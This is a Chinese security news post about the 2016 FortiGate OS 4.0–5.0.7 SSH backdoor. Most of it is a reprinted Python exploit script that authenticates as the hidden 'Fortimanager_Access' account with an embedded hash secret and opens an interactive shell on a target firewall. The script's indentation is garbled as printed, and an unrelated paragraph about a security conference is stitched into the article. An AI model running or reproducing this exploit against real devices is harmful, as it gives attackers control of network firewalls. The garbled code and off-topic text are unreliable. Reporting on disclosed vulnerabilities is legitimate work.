FortiGate OS(飞塔系统) 4.0-5.0.7 SSH 后门

发表于:2016-01-13 10:00:00 来源: 360安全播报 阅读数(0人)

1.jpg

漏洞简介:

FortiGate(飞塔防火墙)采用 ASIC 加速的 UTM 解决方案,可以有效地防御网 络层和内容层的攻击。FortiGate 解决方案能够发现和消除多层的攻击,比如病 毒、蠕虫、入侵、以及 Web 恶意内容等等实时的应用,而不会导致网络性能下降。


2015年底,国内新生安全公司—安赛科技举办了2015年新兴安全技术大会,本次参会拟邀了国内主流的互联网企业、乙方安全公司、投资机构、安全爱好者。在301感触看,这场会议确实在策划到推广上还是有很多方面可以供企业学习的,例如:在嘉宾的邀请上,选用的是拟邀的方式...具体细节301就不多说了,本次参会人员大概在200人左右。


北京时间 2016 年 1 月 12 日凌晨四点钟,国外安全研究员在 twiter 上爆料 FortiGate 防火墙存在一个后门,攻击者可以通过这个后门直接获取防火墙控制权限。


在 ZoomEye 网络空间搜索引擎 上发现全球有64567个 FortiGate 防火墙。


1.jpg

1.jpg

利用脚本:

http://seclists.org/fulldisclosure/2016/Jan/26


#!/usr/bin/env python


# SSH Backdoor for FortiGate OS Version 4.x up to 5.0.7

# Usage: ./fgt_ssh_backdoor.py target-ip


import socket

import select

import sys

import paramiko

from paramiko.py3compat import u

import base64

import hashlib

import termios

import tty


def custom_handler(title, instructions, prompt_list):

    n = prompt_list[0][0]

    m = hashlib.sha1()

    m.update('\x00' * 12)

    m.update(n + 'FGTAbc11*xy+Qqz27')

    m.update('\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70')

    h = 'AK1' + base64.b64encode('\x00' * 12 + m.digest())

    return [h]


def main():

   if len(sys.argv) < 2:

     	print 'Usage: ' + sys.argv[0] + ' '

	exit(-1)


  client = paramiko.SSHClient()

  client.set_missing_host_key_policy(paramiko.AutoAddPolicy())


  try:
  	 client.connect(sys.argv[1], username='', allow_agent=False, look_for_keys=False)

  except paramiko.ssh_exception.SSHException:

 	 pass


  trans = client.get_transport()

  try:
  	 trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True)

  	except paramiko.ssh_exception.AuthenticationException:

  	 pass

  trans.auth_interactive(username='Fortimanager_Access', handler=custom_handler)

  chan = client.invoke_shell()


  oldtty = termios.tcgetattr(sys.stdin)

  try:
     tty.setraw(sys.stdin.fileno())

     tty.setcbreak(sys.stdin.fileno())

     chan.settimeout(0.0)

while True:

    r, w, e = select.select([chan, sys.stdin], [], [])

    if chan in r:

      try:

           x = u(chan.recv(1024))

           if len(x) == 0:

              sys.stdout.write('\r\n*** EOF\r\n')

              break

           sys.stdout.write(x)

           sys.stdout.flush()

         except socket.timeout:

             pass

		if sys.stdin in r:

			x = sys.stdin.read(1)

			 if len(x) == 0:

			    break

		 	chan.send(x)

      finally:

	termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)


   if __name__ == '__main__':

        main()
 

参考:

https://www.reddit.com/r/netsec/comments/40lotk/ssh_backdoor_for_fortigate_os_version_4x_up_to/

https://twitter.com/esizkur/status/686842135501508608

http://seclists.org/fulldisclosure/2016/Jan/26


相关新闻

大家都在学

课程详情

Python编程指南

课程详情

防火墙技术

课程详情

网络安全实践